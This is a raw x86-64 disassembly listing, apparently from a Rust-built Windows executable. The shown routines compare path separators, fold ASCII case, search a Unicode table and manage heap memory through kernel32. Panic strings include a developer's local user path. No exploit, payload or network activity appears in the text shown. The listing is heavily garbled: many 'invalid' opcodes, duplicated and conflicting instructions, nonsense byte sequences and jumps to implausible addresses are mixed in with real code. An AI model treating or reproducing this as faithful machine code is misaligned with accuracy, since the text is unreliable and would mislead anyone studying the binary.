add byte [rax], al
add byte [rax + rax*8 + 0x62eb3f75], al
jmp 0x140050612
mov eax, r9d
shr eax, 8
mov r13b, 1
test al, bpl
jne 0x140050612
test r12b, 1
je 0x1400505d4
mov r12d, ebp
add r14, 0x20
inc rbx
mov rdx, qword [rsp + 0x40]
cmp r14, rdx
jne 0x1400501f0
test ebx, ebp
sti
invalid
invalid
test ebx, ebp
sti
invalid
xor r13d, r13d
jmp 0x140050612
mov r13d, eax
mov eax, r13d
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, [0x1400e08a8]
mov edx, 0x28
call fcn.1400aa0a0
ud2
lea eax, [rbx - 0x41]
mov r9d, ebx
xor r9d, 0x20
cmp eax, 0x1a
cmovae r9d, ebx
cmp dword [rsp + 0x20], r9d
je 0x140050baa
add rcx, 8
cmp rcx, rdx
je 0x140050abe
mov ebx, dword [rcx]
mov eax, dword [rcx + 4]
cmp eax, 0x110000
jne 0x140050740
cmp r8b, 0x5c
je 0x140050702
cmp dword [rsp + 0x24], 0x2f
jne 0x140050723
cmp ebx, 0x80
jae 0x140050723
mov al, 1
cmp bl, 0x2f
je 0x140050bac
movzx r9d, bl
cmp r9d, 0x5c
je 0x140050bac
mov eax, ebx
or eax, r8d
cmp eax, 0x7f
jbe 0x1400506c0
cmp ebx, r8d
jne 0x1400506dc
jmp 0x140050baa
mov r9d, eax
or r9d, ebx
cmp r9d, 0x80
jae 0x1400508c0
lea r9d, [rbx - 0x41]
mov r14d, ebx
xor r14d, 0x20
cmp r9d, 0x1a
cmovae r14d, ebx
lea r9d, [rax - 0x41]
mov r15d, eax
xor r15d, 0x20
cmp r9d, 0x1a
cmovae r15d, eax
cmp r14d, 0x80
jae 0x14005079d
lea r9d, [r14 - 0x61]
xor r12d, r12d
cmp r9b, 0x1a
setb r12b
shl r12d, 5
xor r12d, r14d
jmp 0x14005088d
mov r12d, 0x5db
xor edi, edi
mov r13d, 0x5db
jmp 0x1400507b8
mov r13, r12
sub r12, rdi
jbe 0x1400507ec
shr r12, 1
add r12, rdi
xor ebp, ebp
cmp dword [r11 + r12*8], r14d
setne bpl
cmovb ebp, esi
cmp bpl, 1
je 0x1400507b0
movzx r9d, bpl
cmp r9d, 0xff
jne 0x140050858
inc r12
mov rdi, r12
mov r12, r13
sub r12, rdi
ja 0x1400507b8
mov r12d, r14d
cmp r15d, 0x80
jb 0x14005088d
mov r13d, 0x5db
xor edi, edi
mov ebp, 0x5db
jmp 0x14005081c
mov rbp, r13
sub r13, rdi
jbe 0x1400508c0
shr r13, 1
add r13, rdi
xor r9d, r9d
cmp dword [r11 + r13*8], r15d
setne r9b
cmovb r9d, esi
cmp r9b, 1
je 0x140050810
movzx r9d, r9b
cmp r9d, 0xff
jne 0x140050906
inc r13
mov rdi, r13
mov r13, rbp
sub r13, rdi
ja 0x14005081c
jmp 0x1400508c0
mov r12d, dword [r11 + r12*8 + 4]
cmp r12, 0x110000
je 0x1400508d7
add byte [rcx + rsi*2 + 0x45], dh
mov ecx, esp
mov r9d, r12d
xor r9d, 0xd800
add r9d, 0xffef0000
cmp r9d, 0xffef0800
stc
add byte [rax], cl
out dx, eax
push qword [rdx + 0x57]
push rdi
stc
add byte [rax], cl
out dx, eax
push qword [rdx + 0x57]
push rdi
push rdi
cmp r15d, 0x80
jae 0x1400507fc
lea r9d, [r15 - 0x61]
xor r13d, r13d
in eax, dx
cmp r9b, 0x1a
setb r13b
xchg edx, eax
invalid
shl r13d, 5
xor r13d, r15d
sbb al, byte [rcx + 0xf]
xchg edx, eax
invalid
cmp r14d, r12d
je 0x1400508c0
cmp r15d, r13d
je 0x1400508c0
cmp dword [rsp + 0x20], r14d
cmp dword [rsp + 0x20], esi
and byte [rdx + 0xc], dh
jb 0x1400508c0
cmp dword [rsp + 0x20], r15d
and al, 0x20
jbe 0x140050baa
nop
cmp ebx, r8d
ja 0x1400506dc
invalid
invalid
invalid
invalid
cmp eax, r8d
jb 0x1400506dc
invalid
or bh, dh
invalid
invalid
ror byte [rdi], 0x82
or bh, dh
invalid
invalid
jmp 0x140050baa
rol dword [rdx], cl
add byte [rax], al
and r12d, 0x3fffff
lea r9, [r12 + r12*2]
cmp dword [r10 + r9*4 + 8], 0x110002
add al, byte [rax]
adc dword [rax], eax
or byte [rdx], al
add byte [rcx], dl
add byte [rdi], cl
test ah, cl
add al, byte [rax]
adc dword [rax], eax
je case.0x140080d34.294
add al, byte [rax]
add byte [rcx + rcx*4 - 0x29], cl
mov rdi, r10
mov rdi, r10
mov r12d, dword [r10 + r9*4]
cmp r15d, 0x80
jb 0x14005088d
mov al, byte [rcx - 0x7f]
inc dword [rax + 0x72000000]
mov ecx, gs
add byte [rdx - 0x74], dh
jmp 0x1400507fc
idiv dh
invalid
mov r13d, dword [r11 + r13*8 + 4]
cmp r13, 0x110000
je 0x140050932
mov r9d, r13d
xor r9d, 0xd800
add al, bl
add byte [rax], al
add al, bl
add byte [rax], al
add r9d, 0xffef0000
cmp r9d, 0xffef0800
cmp ecx, 0xffef0800
add byte [rax], al
out dx, eax
inc dword [rcx - 0x7f]
invalid
cmp ecx, 0xffef0800
stc
add byte [rax], cl
out dx, eax
dec dword [rdi]
xor dword [rcx - 1], 0xffffffff
jno 0x14005092f
invalid
inc dword [rcx - 0x7f]
in eax, 0xff
invalid
jae 0x1400508a3
and r13d, 0x3fffff
lea r9, [r13*2]
or al, 0x6d
add byte [rax], al
add byte [rax], al
or al, 0x6d
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + 1], cl
invalid
add r9, r13
add ecx, ebp
jmp 0xca818a8b
cmp dword [r10 + r9*4 + 8], 0x110002
je case.0x140080d34.296
mov rdi, r10
mov r13d, dword [r10 + r9*4]
mov ebp, dword [rdx + rcx*4]
mov ch, cl
invalid
jmp 0x1400508a3
inc dword [rcx - 0xa]
rol dword [rcx], 0xf
test dword [rsi], eax
add dword [rax], eax
add byte [rcx - 0x7f], al
clc
add byte [rax], 0
add byte [rax], al
jae 0x1400509bb
test r9b, 1
jne 0x140050a6f
cmp r8d, 0x80
add byte [rax], al
jae 0x1400509bb
cmp r8b, 0x2f
cmp al, 0x2f
je case.0x14006b385.468
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0xc0
add byte [rax], al
movzx eax, r8b
cmp eax, 0x5c
je case.0x14006b385.468
jmp 0x140050b7e
lock add dword [rax], eax
add dword [rax], eax
add byte [rsi - 0x70], ah
nop
lea r9d, [rax - 0x41]
lea ecx, [rax - 0x41]
mov r11d, eax
xor r11d, 0x20
cmp r9d, 0x1a
cmovae r11d, eax
cmp dword [rsp + 0x20], r11d
pop rsp
and al, 0x20
pop rsp
and al, 0x20
je 0x140050baa
test ah, bh
add dword [rax], eax
add byte [rax - 0x7d], cl
add ecx, 8
cmp rcx, rdx
add byte [rax], al
add rcx, 8
add ecx, 8
or byte [rax + 0x39], cl
ror dword [rdi], 1
test byte [rbx], al
add dword [rax], eax
add byte [rbx + 0x498b4401], cl
cmp rcx, rdx
je 0x140050abe
mov eax, dword [rcx]
mov r9d, dword [rcx + 4]
add al, 0x41
cmp ecx, 0x110000
stc
add byte [rax], al
adc dword [rax], eax
invalid
add al, 0x41
cmp ecx, 0x110000
stc
add byte [rax], al
adc dword [rax], eax
invalid
stc
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rcx], dl
add byte [rbp + 0x16], dh
jne 0x1400509e0
mov r9d, eax
rol dword [rbp + 9], 0xc1
or r9d, r8d
cmp r9d, 0x7f
jbe 0x140050990
cmp eax, r8d
jne 0x1400509ae
jmp 0x140050baa
add byte [rax], al
cmp eax, r8d
cmp eax, eax
sal byte [rdi - 0x37], 0x45
cmp ecx, eax
ja 0x1400509ae
cmp r9d, r8d
jb 0x1400509ae
jmp 0x140050baa
mov ebx, 0x41000001
lea eax, [rcx - 0x41]
invalid
invalid
lea eax, [r9 - 0x41]
mov r15d, 0x41cb8945
xor ebx, 0x20
mov r11d, r9d
xor r11d, 0x20
cmp eax, 0x1a
cmovae r11d, r9d
cmp dword [rsp + 0x20], r11d
invalid
sbb al, byte [rbp + 0xf]
fld dword [r9 + r15 + 0x5c]
and al, 0x20
invalid
cmp dword [rsp + 0x20], ebx
and byte [rdi], cl
test byte [rsi + 0x48000001], bl
add rcx, 8
je 0x140050baa
add rcx, 8
xor eax, eax
cmp rcx, rdx
je 0x140050bac
mov r9d, dword [rcx]
mov eax, dword [rcx + 4]
add al, 0x3d
add byte [rax], al
adc dword [rax], eax
cmp eax, 0x110000
jne 0x140050a60
test byte [rdx + 1], dh
add byte [rax], al
movzx r11d, r9b
mov dh, 0xd9
add dword [rax], eax
add byte [rbp + 0xf], al
mov dh, 0xd9
fld dword [rcx - 0x7d]
sti
pop rsp
cmp r11d, 0x5c
je 0x140050bac
mov eax, r9d
or eax, r8d
cmp eax, 0x7f
invalid
jg 0x140050ac8
jbe 0x1400509ef
pushfq
cmp r9d, r8d
jne case.0x140023fa5.484
jmp 0x140050baa
add qword [r8], r8
add byte [rdi], cl
invalid
add dword [rax], eax
add byte [rcx - 0x7f], al
clc
add byte [rax], al
cmp r8d, 0x80
add byte [rax], 0
add byte [rbx + 0x2a], dh
add byte [rax], al
jae 0x140050aa2
cmp r8b, 0x2f
je 0x140050ae8
movzx eax, r8b
cmp eax, 0x5c
je 0x140050ae8
jmp 0x140050b40
mov ah, 0
add byte [rax], al
nop dword [rax]
invalid
invalid
add byte [rbp + 0x39], al
ror dword [rdi], 0x84
adc dword [rcx], eax
add byte [rax], al
cmp r9d, r8d
je 0x140050baa
add rcx, 8
cmp rcx, rdx
je 0x140050abe
mov r9d, dword [rcx]
mov ecx, dword [rcx]
mov eax, dword [rcx + 4]
cmp eax, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
add byte [rcx], dl
add byte [rcx + riz*8 + 0x45], dh
cmp ecx, eax
je 0x140050a90
cmp r9d, r8d
ja 0x140050a99
cmp eax, r8d
jb 0x140050a99
jmp 0x140050baa
add byte [rcx], dh
shr cl, 0xe7
add byte [rax], al
xor eax, eax
jmp 0x140050bac
invalid
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
nop dword [rax + rax]
cmp r9d, r8d
je 0x140050baa
invalid
add byte [rax - 0x7d], cl
ror dword [rax], 0x31
ror byte [rax + 0x39], 0xd1
add rcx, 8
xor eax, eax
cmp rcx, rdx
je 0x140050bac
mov r9d, dword [rcx]
mov eax, dword [rcx + 4]
cmp eax, 0x110000
jne 0x140050b20
cmp r9d, 0x7f
ja 0x140050ad0
invalid
invalid
add byte [rax], al
add byte [rbp + 0x39], al
sal dword [rdi - 0x4c], 0x44
ja 0x140050ad9
cmp eax, r8d
jb 0x140050ad9
cmp r9d, r8d
ja 0x140050ad9
jmp 0x140050baa
cmp r9d, r8d
je 0x140050baa
add rcx, 8
xor eax, eax
cmp rcx, rdx
ror dword [rax], 0x31
ror byte [rax + 0x39], 0xd1
je 0x140050bac
mov r9d, dword [rcx]
mov eax, dword [rcx + 4]
cmp eax, 0x110000
je 0x140050b30
cmp r9d, r8d
ja 0x140050b35
cmp eax, r8d
jb 0x140050b35
jmp 0x140050baa
lea r9d, [rax - 0x41]
mov r11d, eax
xor r11d, 0x20
cmp r9d, 0x1a
cmovae r11d, eax
fadd dword [r9 + r15 + 0x5c]
and al, 0x20
fadd dword [r9 + r15 + 0x5c]
and al, 0x20
cmp dword [rsp + 0x20], ebx
je 0x140050baa
add rcx, 8
xor eax, eax
cmp rcx, rdx
je 0x140050bac
mov eax, dword [rcx]
mov r9d, dword [rcx + 4]
cmp r9d, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
jne 0x140050ba0
mov r9d, eax
mov ecx, eax
or r9d, r8d
cmp r9d, 0x7f
jbe 0x140050b59
cmp eax, r8d
jne case.0x14002739f.315
jmp 0x140050baa
cmp eax, r8d
ja case.0x14002739f.315
sal byte [rdi - 0x32], 0x45
cmp ecx, eax
cmp r9d, r8d
jb case.0x14002739f.315
mov al, 1
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e0940]
add byte [rbp + rcx*4 + 5], cl
jne 0x140050bc6
add eax, 0x8fd75
or byte [rax], al
mov edx, 0x2b
call fcn.1400aa0a0
invalid
add byte [rdi], cl
invalid
add byte [rax], al
add al, ch
retf
add eax, 0x480b0f00
lea ecx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e0958]
mov edx, 0x2b
add byte [rax], al
add al, ch
mov cl, 0x94
invalid
add byte [rdi], cl
invalid
add byte [rax], al
add al, ch
mov cl, 0x94
add eax, 0xcc0b0f00
add byte [rdi], cl
or ecx, esp
add byte [rdi], cl
or ecx, esp
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x538
mov rdi, rdx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x30], ecx
xor byte [rax - 0x75], cl
mov rax, qword [rdx + 0x270]
mov qword [rsp + 0x58], rax
lea r14, [rsp + 0x51]
lea r15, [rsp + 0x2d8]
add al, byte [rax]
add byte [rbp + rcx*4 - 0x54], cl
and al, 0x80
add byte [rax], 0
add byte [rdi], cl
invalid
invalid
invalid
invalid
add al, byte [rax]
add byte [rbp + rcx*4 - 0x54], cl
and al, 0x80
add byte [rax], 0
add byte [rax], 0
add byte [rdi], cl
invalid
mov rcx, r15
mov rdx, rdi
call fcn.1400832c0
cmp qword [rsp + 0x2d8], 0
cmp dword [rsp + 0x2d8], 0
cmp dword [rsp + 0x2d8], 0
je 0x140050e75
mov rax, qword [rsp + 0x2e0]
mov rbx, qword [rsp + 0x2e8]
add al, byte [rax]
add byte [rax - 0x7b], cl
invalid
add al, byte [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
je case.0x140032218.225
invalid
invalid
invalid
je case.0x140032218.225
test byte [rsi + 0x48000001], dl
mov ecx, dword [rdi + 0x268]
mov rcx, qword [rdi + 0x268]
movzx esi, byte [rcx]
mov qword [rsp + 0x80], rax
add byte [rax], 0
add byte [rax - 0x77], cl
pushfq
and al, 0x88
add byte [rax], al
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [rsp + 0x2f0]
add byte [rax], 0
add byte [rax - 0x77], cl
pushfq
and al, 0x88
add byte [rax], al
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [rsp + 0x2f0]
call sub.VCRUNTIME140.dll_memcpy
test sil, sil
je 0x140050d40
lea edx, [rsp + 0x2f0]
call sub.VCRUNTIME140.dll_memcpy
test sil, sil
je 0x140050d40
lea rcx, [rsp + 0x60]
mov rdx, r13
mov edx, ebp
mov edx, ebp
call fcn.140083510
add byte [rbx + rcx*4 + 0x64], cl
and al, 0x60
mov r12, qword [rsp + 0x60]
mov esp, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
mov rcx, r12
jo 0x140050d15
mov ecx, esp
call fcn.140086170
push rsp
add eax, dword [rax]
test rax, rax
test eax, eax
je 0x140050e92
add byte [rax - 0x77], cl
invalid
mov rbp, rax
mov ebp, eax
mov rsi, rdx
test rdx, rdx
invalid
je 0x140050d50
sal byte [rsp + rbp*2 + 0x48], cl
test esi, esi
test rsi, rsi
js 0x140050ebb
mov dh, cl
add dword [rax], eax
add byte [rdi], cl
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
mov eax, dword [0x1400f91f8]
mov dh, 5
int3
mov eax, dword [0x1400f91f8]
test rax, rax
test eax, eax
jne case.0x140032218.220
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140050eac
invalid
add byte [rax - 0x77], cl
add eax, 0xa84e2
mov qword [0x1400f91f8], rax
add byte [rax - 0x77], cl
sal dword [rcx], 0xd2
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140050d55
jmp 0x140050eac
lea rcx, [rsp + 0x38]
and al, 0x38
mov rdx, r13
call fcn.140083510
jmp 0x140050d91
mov ebx, 1
mov rcx, rbx
mov rdx, rbp
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
mov byte [rsp + 0x50], 0
cmp qword [rsp + 0x68], 0
je 0x140050d91
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x80]
lock dec qword [rax]
jne 0x140050dac
mov rcx, qword [rsp + 0x80]
call fcn.140010590
mov rbx, qword [rsp + 0x38]
movups xmm0, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
movzx eax, byte [rsp + 0x50]
and al, 0x50
mov ecx, dword [r14]
mov edx, dword [r14 + 3]
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x2b], edx
cmp al, 2
je case.0x140032218.225
invalid
cmp ecx, dword [rbx - 0x74d7dbb4]
push rsp
mov ecx, dword [rsp + 0x28]
mov edx, dword [rsp + 0x2b]
and al, 0x2b
and al, 0x2b
mov dword [rsp + 0x23], edx
mov dword [rsp + 0x20], ecx
cmp al, 3
je 0x140050c40
mov ecx, dword [rsp + 0x20]
and al, 0x20
mov edx, dword [rsp + 0x23]
mov r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov dword [r8 + 0x1c], edx
mov dword [r8 + 0x19], ecx
push rax
sbb al, 0x41
mov dword [rax + 0x19], ecx
mov qword [r8], rbx
movups xmmword [r8 + 8], xmm0
mov byte [r8 + 0x18], al
jmp case.0x140068b4c.143
mov r15, qword [rsp + 0x58]
mov edi, dword [rsp + 0x58]
mov rax, qword [r15]
test rax, rax
je 0x140050e72
invalid
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
cli
add dh, byte [rdx + 0x4d]
invalid
cli
add dh, byte [rdx + 0x4d]
invalid
test rcx, rcx
test rcx, rcx
leave
je 0x140050e72
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
dec dword [rbx + rcx*4 + 0x70]
invalid
mov rcx, rdi
mov ecx, edi
dec dword [rbx + rcx*4 + 0x70]
invalid
mov ecx, edi
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140050e60
invalid
invalid
sbb eax, 0x107e8349
adc dword [rdx + 4], esi
cmp qword [r14 + 0x10], 0x11
adc byte [rcx], dl
jb 0x140050e4e
mov rdi, qword [rdi - 8]
mov edi, dword [rdi - 8]
mov rcx, qword [0x1400f91f8]
or dword [rdx], 0
xor edx, edx
mov r8, rdi
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xchg esi, eax
cmc
invalid
invalid
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
xchg esi, eax
cmc
add eax, 0x1f894900
mov qword [r15], rbx
mov rax, qword [rsp + 0x30]
mov byte [rax + 0x18], 2
add rsp, 0x538
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e08f8]
mov edx, 0x2b
call fcn.1400aa0a0
ud2
mov ecx, 1
mov rdx, rsi
call fcn.1400a9e00
ud2
call fcn.1400402a0
ud2
mov dword [rsp + 0x20], esi
jmp 0x140050f5b
mov rbx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x20]
mov r14, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov qword [rbx], r13
mov qword [rbx + 8], rdx
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], rcx
mov rbx, qword [rsp + 0x40]
mov ebx, dword [rsp + 0x40]
adc byte [rax - 0x77], cl
sbb byte [r8 - 0x75], cl
invalid
mov ebx, dword [rsp + 0x40]
pop rsp
and al, 0x40
inc r15
add qword [rsp + 0x48], 0x20
cmp r15, r14
je 0x140051306
invalid
and byte [rbp + 0x39], cl
test dword [rdi], 0x3ab84
add byte [rcx + rcx*4 - 2], cl
mov rsi, r15
shl rsi, 5
out 5, al
mov r13, qword [rbx + rsi]
mov r12, qword [rbx + rsi + 0x10]
mov rcx, qword [rbx + rsi - 0x20]
mov rdx, qword [rbx + rsi - 0x10]
push rsp
xor esi, eax
push rsp
xor esi, eax
call fcn.140086170
mov rdi, rax
mov rbp, rdx
mov rcx, r13
mov ecx, ebp
mov ecx, ebp
jmp 0x128e798d3
mov rdx, r12
call fcn.140086170
in eax, 0x51
add eax, dword [rax]
in eax, 0x51
add eax, dword [rax]
mov r8, rdx
test rax, rax
je 0x1400512b0
test rdi, rdi
jne 0x1400512b0
test dword [rax], edx
add eax, dword [rax]
invalid
test dword [rax], edx
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rax, [rbx + rsi]
add al, 0x33
add rbx, rsi
add rbx, 0xffffffffffffffe0
mov rdx, qword [rax + 8]
mov rcx, qword [rax + 0x18]
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
cmp r15, 1
je case.0x140046b1e.150
mov qword [rsp + 0x28], rdx
and al, 0x28
mov qword [rsp + 0x30], rcx
mov r14d, 1
mov rbx, qword [rsp + 0x48]
mov qword [rsp + 0x38], r15
jmp 0x140051014
and al, 0x38
cmp r15, r14
je case.0x140046b1e.149
invalid
invalid
invalid
invalid
invalid
test byte [0x189051014], cl
mov edi, dword [rbx - 0x20]
mov rdi, qword [rbx - 0x20]
mov rbp, qword [rbx - 0x10]
lea r15, [rsp + 0x50]
and al, 0x50
and al, 0x50
mov rcx, r15
stc
mov rdx, rdi
mov edx, edi
mov r8, rbp
call fcn.14007e4f0
movzx eax, byte [rsp + 0x50]
rcl esp, 2
add byte [rdi], cl
mov dh, 0x44
and al, 0x50
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
jo 0x14005108b
lea r8, [0x1400efa48]
lea eax, [0x1400efa48]
add eax, 0x9ea03
or dword [rax], eax
movsxd r9, dword [r8 + rax*4]
add r9, r8
mov rax, rbp
mov r8, rdi
jmp r9
invalid
invalid
loope 0x14005109e
add rcx, 4
add ecx, 4
rol dword [rbx + rbp*8], 0x35
jmp 0x140051090
xor eax, 0x1428d48
lea rax, [rdx + 1]
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], cl
ret 0x148
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 8
jmp 0x140051090
mov ecx, 6
add byte [rax], al
jmp 0x140051090
lea rax, [rdx + 1]
test rdx, rdx
test edx, edx
test edx, edx
cmove rax, rdx
add rcx, rax
add rcx, 2
jmp 0x140051090
mov ecx, 2
add al, byte [rax]
add byte [rax], al
nop
mov rax, rbp
sub rax, rcx
enter 0xffffffffffff820f, 0x7e
add al, byte [rax]
invalid
enter 0xffffffffffff820f, 0x7e
add al, byte [rax]
add byte [rax + 1], cl
add rcx, rdi
add rcx, rdi
mov r8, rcx
test rax, rax
je 0x1400510c0
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x1400510c2
xor eax, eax
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x90], rbp
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x98]
mov qword [rdx + 0x20], rcx
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov byte [rsp + 0xc2], al
mov word [rsp + 0xc0], 0x200
add byte [rdx], al
add byte [rdx], al
mov rcx, r15
lea rdx, [rsp + 0x88]
lea edx, [rsp + 0x88]
lea edx, [rsp + 0x88]
call fcn.1400849e0
movzx edi, byte [rsp + 0x50]
cmp dil, 9
or dword [rbp + 0x10], esi
or dword [rbp + 0x10], esi
adc byte [rax - 0x75], cl
insb byte [rdi], dx
and al, 0x58
pop rax
mov rbp, qword [rsp + 0x58]
pop rax
jmp 0x140051132
xor ebp, ebp
mov rsi, qword [rsp + 0x60]
mov rcx, r15
mov ecx, edi
stc
mov rdx, r13
mov r8, r12
call fcn.14007e4f0
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
push rsp
and al, 0x70
lea r8, [0x1400efa64]
lea eax, [0x1400efa64]
jmp 0x1a3521166
add byte [rbp + 0x63], cl
or al, 0x80
movsxd r9, dword [r8 + rax*4]
add r9, r8
mov rax, r12
mov r8, r13
jmp r9
jmp rcx
add rcx, 4
add ecx, 4
jmp 0x1400511b0
invalid
lea rax, [rdx + 1]
test rdx, rdx
test edx, edx
test edx, edx
cmove rax, rdx
add rcx, rax
add rcx, 8
jmp 0x1400511b0
invalid
sub edi, dword [rcx + 6]
mov ecx, 6
jmp 0x1400511b0
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 2
jmp 0x1400511b0
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], cl
ret 0x148
mov ecx, 2
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rax, r12
sub rax, rcx
jb 0x14005132b
add rcx, r13
mov r8, rcx
test rax, rax
je 0x1400511e0
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x1400511e2
xor eax, eax
lea r15, [rbx - 0x20]
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x90], r12
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x98]
mov qword [rdx + 0x20], rcx
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov byte [rsp + 0xc2], al
mov word [rsp + 0xc0], 0x200
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x88]
call fcn.1400849e0
movzx eax, byte [rsp + 0x50]
cmp al, 9
jne 0x140051260
test rax, rax
setne cl
test rdi, rdi
setne dl
xor dl, cl
jne 0x140050f49
test rdi, rdi
je 0x140050f49
test rax, rax
je 0x140050f49
mov rbx, rbp
sub rbx, r8
cmovb r8, rbp
mov rcx, rdi
mov rdx, rax
call sub.VCRUNTIME140.dll_memcmp
cdqe
test eax, eax
cmovne rbx, rax
test rbx, rbx
mov rbx, qword [rsp + 0x40]
jns 0x140050f49
jmp 0x140050fa0
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rbp
call fcn.1400a9f20
ud2
lea r8, str.library_std_srcpath.rs
mov rdx, r12
call fcn.1400a9f20
ud2
jae 0x140058a10
movzx eax, byte [rsp + 0x3b8]
mov sil, 1
cmp al, 1
jne 0x140058a36
jmp 0x140058a4f
mov r8, qword [rsp + 0xc0]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [rsp + 0x3b8]
mov sil, 1
cmp al, 1
je 0x140058a4f
movzx ecx, byte [rsp + 0x3f0]
test rcx, rcx
je 0x140058a85
cmp ecx, 1
je 0x140058a4f
mov sil, 2
test al, al
je 0x140058a8d
mov r8, qword [rsp + 0x3b0]
cmp r8, 4
jbe 0x140058a9d
mov r8, qword [rsp + 0x390]
mov rdx, qword [rsp + 0x398]
mov rax, qword [rsp + 0x3e8]
cmp rax, 4
ja 0x140058ab3
lea r9, [rsp + 0x3c8]
jmp 0x140058ac3
test al, al
je 0x14005a880
xor esi, esi
mov r8, qword [rsp + 0x3b0]
cmp r8, 4
ja 0x140058a5d
lea rdx, [rsp + 0x390]
mov rax, qword [rsp + 0x3e8]
cmp rax, 4
jbe 0x140058a7b
mov rax, qword [rsp + 0x3c8]
mov r9, qword [rsp + 0x3d0]
mov qword [rsp + 0x20], rax
lea rbx, [rsp + 0x30]
mov rcx, rbx
call fcn.140057a70
lea rcx, [rsp + 0x468]
mov edx, esi
mov r8, rbx
call fcn.140056460
mov rax, qword [rsp + 0x3b8]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0x388]
movups xmm1, xmmword [rsp + 0x398]
movups xmm2, xmmword [rsp + 0x3a8]
movaps xmmword [rsp + 0x90], xmm2
